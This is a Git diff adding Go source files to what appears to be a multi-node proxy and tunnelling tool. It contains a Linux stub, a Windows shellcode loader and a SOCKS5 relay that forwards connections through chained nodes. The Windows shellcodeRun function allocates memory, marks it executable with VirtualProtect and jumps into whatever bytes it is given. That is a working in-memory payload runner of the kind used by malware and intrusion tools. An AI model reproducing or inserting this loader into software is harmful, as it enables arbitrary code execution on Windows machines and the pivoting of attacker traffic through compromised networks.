@@ -0,0 +1,8 @@
|
|||||||
|
|
||||||
|
package server
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func shellcodeRun(b []byte) error {
|
||||||
|
return errors.New("linux暂不支持")
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
//go:build windows
|
||||||
|
// +build windows
|
||||||
|
|
||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||||||
|
|
||||||
|
old32 = syscall.MustLoadDLL("ole32.dll")
|
||||||
|
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
|
||||||
|
)
|
||||||
|
|
||||||
|
func shellcodeRun(code []byte) error {
|
||||||
|
defer func() {
|
||||||
|
if err := recover(); err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
|
||||||
|
l := uintptr(len(code))
|
||||||
|
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
|
||||||
|
|
||||||
|
var old int
|
||||||
|
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
|
||||||
|
h := [3]uintptr{pwstrLocal, l, l}
|
||||||
|
s := *(*[]byte)(unsafe.Pointer(&h))
|
||||||
|
|
||||||
|
copy(s, code)
|
||||||
|
|
||||||
|
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,506 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"cert"
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/rand"
|
||||||
|
"net"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
UDP_PORT_MIN = 30000
|
||||||
|
UDP_PORT_MAX = 60000
|
||||||
|
SOCKES5_VERSION = 5
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||||
|
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
|
||||||
|
PROTOCOL_ERR = errors.New("protocolErr")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
CONN_AUTH_CLOSE = 0
|
||||||
|
CONN_AUTH_NONE = 1
|
||||||
|
CONN_AUTH_PW = 2
|
||||||
|
CONN_AUTH_OK = 3
|
||||||
|
CONN_AUTH_MESSAGE = 4
|
||||||
|
CONN_REMOTE_CLOSE = 0
|
||||||
|
CONN_REMOTE_OPEN = 1
|
||||||
|
)
|
||||||
|
|
||||||
|
type clientConnect struct {
|
||||||
|
cfg *common.Addr
|
||||||
|
windowsSize int64
|
||||||
|
isClose int32
|
||||||
|
conn net.Conn
|
||||||
|
udpConn net.Conn
|
||||||
|
|
||||||
|
remote int32
|
||||||
|
auth int
|
||||||
|
server *node
|
||||||
|
id uint32
|
||||||
|
wait chan int
|
||||||
|
close string
|
||||||
|
|
||||||
|
udpMap sync.Map
|
||||||
|
udpRepData []byte
|
||||||
|
addrData []byte
|
||||||
|
|
||||||
|
listenId uint32
|
||||||
|
randkey []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *clientConnect) Write(b []byte) {
|
||||||
|
|
||||||
|
switch b[0] {
|
||||||
|
|
||||||
|
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||||
|
|
||||||
|
switch common.NetWork(b[9]) {
|
||||||
|
case common.SOCKS5_CMD_CONNECT:
|
||||||
|
|
||||||
|
if b[10] != 1 {
|
||||||
|
go func() { s.Close("") }()
|
||||||
|
} else {
|
||||||
|
|
||||||
|
//发送成功消息
|
||||||
|
s.auth = CONN_AUTH_MESSAGE
|
||||||
|
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
|
||||||
|
}
|
||||||
|
case common.SOCKS5_CMD_BIND:
|
||||||
|
s.auth = CONN_AUTH_MESSAGE
|
||||||
|
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
|
||||||
|
case common.RAW_TCP:
|
||||||
|
if b[10] != 1 {
|
||||||
|
go func() { s.Close("") }()
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
log.Println("socks5 未处理")
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_CONN_MSG:
|
||||||
|
|
||||||
|
s.conn.Write(b[1:])
|
||||||
|
s.Addwindow(int64(-len(b[1:])))
|
||||||
|
case common.CMD_CONN_UDP_MSG:
|
||||||
|
s.udpConn.Write(b[1:])
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
var remoteClose = "服务器要求远程关闭"
|
||||||
|
var nodeIsClose = "节点已经断开连接"
|
||||||
|
|
||||||
|
func (s *clientConnect) Close(msg string) {
|
||||||
|
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
|
||||||
|
|
||||||
|
<-s.wait
|
||||||
|
s.wait <- common.CONN_STATUS_CLOSE
|
||||||
|
s.auth = CONN_AUTH_CLOSE
|
||||||
|
s.server.connMap.Delete(s.id)
|
||||||
|
|
||||||
|
if msg == "" {
|
||||||
|
msg = "未知关闭"
|
||||||
|
}
|
||||||
|
s.close = msg
|
||||||
|
if msg == remoteClose {
|
||||||
|
s.remote = CONN_REMOTE_CLOSE
|
||||||
|
} else if s.remote == CONN_REMOTE_OPEN {
|
||||||
|
s.remote = CONN_REMOTE_CLOSE
|
||||||
|
s.Remoteclose()
|
||||||
|
}
|
||||||
|
|
||||||
|
s.conn.Close()
|
||||||
|
if s.udpConn != nil {
|
||||||
|
s.udpConn.Close()
|
||||||
|
}
|
||||||
|
s.udpMap.Range(func(k, _ interface{}) bool {
|
||||||
|
s.udpMap.Delete(k)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func (s *clientConnect) Addwindow(window int64) {
|
||||||
|
|
||||||
|
windows_size := atomic.AddInt64(&s.windowsSize, window)
|
||||||
|
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
|
||||||
|
|
||||||
|
if windows_size < windows_update_size/2 { //扩大窗口
|
||||||
|
if size := windows_update_size - s.windowsSize; size > 0 {
|
||||||
|
atomic.AddInt64(&s.windowsSize, size)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, 8)
|
||||||
|
buf[0] = byte(size & 255)
|
||||||
|
buf[1] = byte(size >> 8 & 255)
|
||||||
|
buf[2] = byte(size >> 16 & 255)
|
||||||
|
buf[3] = byte(size >> 24 & 255)
|
||||||
|
buf[4] = byte(size >> 32 & 255)
|
||||||
|
buf[5] = byte(size >> 40 & 255)
|
||||||
|
buf[6] = byte(size >> 48 & 255)
|
||||||
|
buf[7] = byte(size >> 56 & 255)
|
||||||
|
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func StartSocks5(cfg *common.Addr, dst []string) error {
|
||||||
|
var target *node
|
||||||
|
var err error
|
||||||
|
if len(dst) == 0 {
|
||||||
|
target = currentNode
|
||||||
|
} else {
|
||||||
|
target, err = GetNodeFromAddrs(dst)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
l := &clientListen{
|
||||||
|
|
||||||
|
server: target,
|
||||||
|
localAddr: cfg.Addr(),
|
||||||
|
id: common.GetID(),
|
||||||
|
typ: "socks5",
|
||||||
|
randkey: make([]byte, 8),
|
||||||
|
}
|
||||||
|
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||||
|
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
currentNode.listenMap.Store(l.id, l)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) {
|
||||||
|
l, err := net.Listen("tcp", cfg.Addr())
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
randkey := make([]byte, 8)
|
||||||
|
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||||
|
fmt.Println("socks5 start ", cfg.Addr())
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
conn, err := l.Accept()
|
||||||
|
if err != nil {
|
||||||
|
if err.(*net.OpError).Err == net.ErrClosed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
c := &clientConnect{
|
||||||
|
cfg: cfg,
|
||||||
|
conn: conn,
|
||||||
|
server: n,
|
||||||
|
listenId: id,
|
||||||
|
randkey: randkey,
|
||||||
|
}
|
||||||
|
|
||||||
|
go handleSocks5Local(c)
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return l, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *clientConnect) OnOpened() (close bool) {
|
||||||
|
s.wait = make(chan int, 1)
|
||||||
|
s.auth = CONN_AUTH_NONE
|
||||||
|
s.remote = CONN_REMOTE_OPEN
|
||||||
|
s.windowsSize = 0
|
||||||
|
s.wait <- common.CONN_STATUS_OK
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 监听本地服务
|
||||||
|
func handleSocks5Local(s *clientConnect) {
|
||||||
|
defer func() {
|
||||||
|
if err := recover(); err != nil {
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
b := make([]byte, common.MAX_PLAINTEXT-8)
|
||||||
|
if s.OnOpened() {
|
||||||
|
s.Close("无法获得服务器连接")
|
||||||
|
}
|
||||||
|
for {
|
||||||
|
n, err := s.conn.Read(b)
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
s.Close(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
data := b[:n]
|
||||||
|
|
||||||
|
switch s.auth {
|
||||||
|
case CONN_AUTH_NONE:
|
||||||
|
|
||||||
|
if len(data) > 2 {
|
||||||
|
if data[0] == 5 {
|
||||||
|
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||||
|
s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD)
|
||||||
|
s.auth = CONN_AUTH_PW
|
||||||
|
} else {
|
||||||
|
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||||
|
s.auth = CONN_AUTH_OK
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
case CONN_AUTH_PW:
|
||||||
|
|
||||||
|
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||||
|
if len(data) > 4 {
|
||||||
|
defer recover()
|
||||||
|
user := string(data[2 : 2+data[1]])
|
||||||
|
password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]])
|
||||||
|
if user == s.cfg.User() && password == s.cfg.Password() {
|
||||||
|
s.conn.Write([]byte{5, 0})
|
||||||
|
|
||||||
|
s.auth = CONN_AUTH_OK
|
||||||
|
} else {
|
||||||
|
s.conn.Write([]byte{5, 1})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
s.conn.Write([]byte{5, 0})
|
||||||
|
s.auth = CONN_AUTH_OK
|
||||||
|
}
|
||||||
|
|
||||||
|
case CONN_AUTH_OK:
|
||||||
|
|
||||||
|
s.addrData = data[3:]
|
||||||
|
switch common.NetWork(data[1]) {
|
||||||
|
case common.SOCKS5_CMD_CONNECT:
|
||||||
|
addr, port := socks5ReadAddr(data)
|
||||||
|
if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port) {
|
||||||
|
s.Close(nodeIsClose)
|
||||||
|
}
|
||||||
|
case common.SOCKS5_CMD_BIND:
|
||||||
|
addr, port := socks5ReadAddr(data)
|
||||||
|
if !s.connect(common.SOCKS5_CMD_BIND, addr, port) {
|
||||||
|
s.Close(nodeIsClose)
|
||||||
|
}
|
||||||
|
case common.SOCKS5_CMD_UDP:
|
||||||
|
|
||||||
|
localIP := s.conn.LocalAddr().String()
|
||||||
|
localIP = localIP[:strings.Index(localIP, ":")]
|
||||||
|
//找一个能用的udp端口
|
||||||
|
var port uint16
|
||||||
|
for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ {
|
||||||
|
s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{
|
||||||
|
IP: net.ParseIP(localIP),
|
||||||
|
Port: int(i),
|
||||||
|
})
|
||||||
|
if err == nil {
|
||||||
|
port = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if s.udpConn == nil {
|
||||||
|
data[0] = 5
|
||||||
|
data[1] = 1 //RepRuleFailure
|
||||||
|
s.conn.Write(data)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)}
|
||||||
|
ipb := ipToByte(localIP)
|
||||||
|
addr, port := socks5ReadAddr(data)
|
||||||
|
|
||||||
|
if s.connect(common.SOCKS5_CMD_UDP, addr, port) {
|
||||||
|
copy(repdata[4:], ipb)
|
||||||
|
s.conn.Write(repdata)
|
||||||
|
go handleSocks5Udp(s)
|
||||||
|
} else {
|
||||||
|
s.Close(nodeIsClose)
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
data[0] = 5
|
||||||
|
data[1] = 7 //RepCmdNotSupported
|
||||||
|
s.conn.Write(data)
|
||||||
|
}
|
||||||
|
|
||||||
|
case CONN_AUTH_MESSAGE:
|
||||||
|
|
||||||
|
//binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno)
|
||||||
|
//conn.msgno++
|
||||||
|
|
||||||
|
var new_size int64
|
||||||
|
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||||
|
atomic.AddInt64(&s.windowsSize, new_size)
|
||||||
|
|
||||||
|
} else {
|
||||||
|
new_size = 0
|
||||||
|
}
|
||||||
|
buf := make([]byte, 8)
|
||||||
|
buf[0] = byte(new_size)
|
||||||
|
buf[1] = byte(new_size >> 8)
|
||||||
|
buf[2] = byte(new_size >> 16)
|
||||||
|
buf[3] = byte(new_size >> 24)
|
||||||
|
buf[4] = byte(new_size >> 32)
|
||||||
|
buf[5] = byte(new_size >> 40)
|
||||||
|
buf[6] = byte(new_size >> 48)
|
||||||
|
buf[7] = byte(new_size >> 56)
|
||||||
|
|
||||||
|
s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func handleSocks5Udp(s *clientConnect) {
|
||||||
|
var b = make([]byte, 65535)
|
||||||
|
for {
|
||||||
|
n, err := s.udpConn.Read(b)
|
||||||
|
if err != nil {
|
||||||
|
s.Close(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
data := b[:n]
|
||||||
|
if b[2] != 0 {
|
||||||
|
//不支持分片
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
data = data[3:]
|
||||||
|
common.GetIDLock.Lock()
|
||||||
|
var udpid uint32
|
||||||
|
switch data[0] {
|
||||||
|
case 1:
|
||||||
|
ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6]))
|
||||||
|
if v, ok := s.udpMap.Load(ip); !ok {
|
||||||
|
|
||||||
|
udps := &clientConnect{
|
||||||
|
server: s.server,
|
||||||
|
randkey: s.randkey,
|
||||||
|
}
|
||||||
|
udps.udpConn = s.udpConn
|
||||||
|
udps.id = udps.server.storeConn(s)
|
||||||
|
udpid = udps.id
|
||||||
|
udps.udpRepData = make([]byte, 10)
|
||||||
|
copy(udps.udpRepData, data)
|
||||||
|
udps.udpMap.Store(ip, udpid)
|
||||||
|
} else {
|
||||||
|
udpid = v.(uint32)
|
||||||
|
}
|
||||||
|
case 3:
|
||||||
|
case 4:
|
||||||
|
}
|
||||||
|
common.GetIDLock.Unlock()
|
||||||
|
buf := make([]byte, 4)
|
||||||
|
buf[0] = byte(udpid)
|
||||||
|
buf[1] = byte(udpid >> 8)
|
||||||
|
buf[2] = byte(udpid >> 16)
|
||||||
|
buf[3] = byte(udpid >> 24)
|
||||||
|
s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...))
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) bool {
|
||||||
|
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||||
|
s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs)
|
||||||
|
}
|
||||||
|
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
ports := strconv.Itoa(int(port))
|
||||||
|
buf := make([]byte, 2+len(addr)+len(ports))
|
||||||
|
s.id = s.server.storeConn(s)
|
||||||
|
buf[0] = byte(command)
|
||||||
|
copy(buf[1:], addr)
|
||||||
|
buf[1+len(addr)] = ':'
|
||||||
|
copy(buf[2+len(addr):], ports)
|
||||||
|
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||||
|
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||||
|
switch v := value.(type) {
|
||||||
|
case *serverListen:
|
||||||
|
v.connMap.Store(s.id, s)
|
||||||
|
case *clientListen:
|
||||||
|
v.connMap.Store(s.id, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func Bytes2str(b []byte) string {
|
||||||
|
return *(*string)(unsafe.Pointer(&b))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *clientConnect) Remoteclose() {
|
||||||
|
|
||||||
|
s.close = "本地要求远程关闭"
|
||||||
|
|
||||||
|
buf := make([]byte, 4)
|
||||||
|
buf[0] = byte(s.id)
|
||||||
|
buf[1] = byte(s.id >> 8)
|
||||||
|
buf[2] = byte(s.id >> 16)
|
||||||
|
buf[3] = byte(s.id >> 24)
|
||||||
|
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func ipToByte(ip string) []byte {
|
||||||
|
var b []byte
|
||||||
|
|
||||||
|
if strings.Contains(ip, ".") {
|
||||||
|
for _, s := range strings.Split(ip, ".") {
|
||||||
|
i, _ := strconv.Atoi(s)
|
||||||
|
b = append(b, byte(i))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
func socks5ReadAddr(data []byte) (addr string, port uint16) {
|
||||||
|
port = binary.BigEndian.Uint16(data[len(data)-2:])
|
||||||
|
switch data[3] {
|
||||||
|
case 1: //ipv4
|
||||||
|
str := make([][]byte, 4)
|
||||||
|
for k, v := range data[4:8] {
|
||||||
|
str[k] = []byte(strconv.Itoa(int(v)))
|
||||||
|
}
|
||||||
|
addr = string(bytes.Join(str, []byte{46}))
|
||||||
|
|
||||||
|
case 3: //域名
|
||||||
|
addr = string(data[5 : len(data)-2])
|
||||||
|
|
||||||
|
case 4: //ipv6
|
||||||
|
strs := make([]string, 0)
|
||||||
|
for i := 4; i < 20; i += 2 {
|
||||||
|
str := ""
|
||||||
|
for j := 0; j < 2; j++ {
|
||||||
|
str += fmt.Sprintf("%0.2x", data[i+j])
|
||||||
|
}
|
||||||
|
str = strings.TrimLeft(str, "0")
|
||||||
|
if str == "" {
|
||||||
|
str = "0"
|
||||||
|
}
|
||||||
|
strs = append(strs, str)
|
||||||
|
}
|
||||||
|
addr = "[" + strings.Join(strs, ":") + "]"
|
||||||
|
|
||||||
|
default:
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user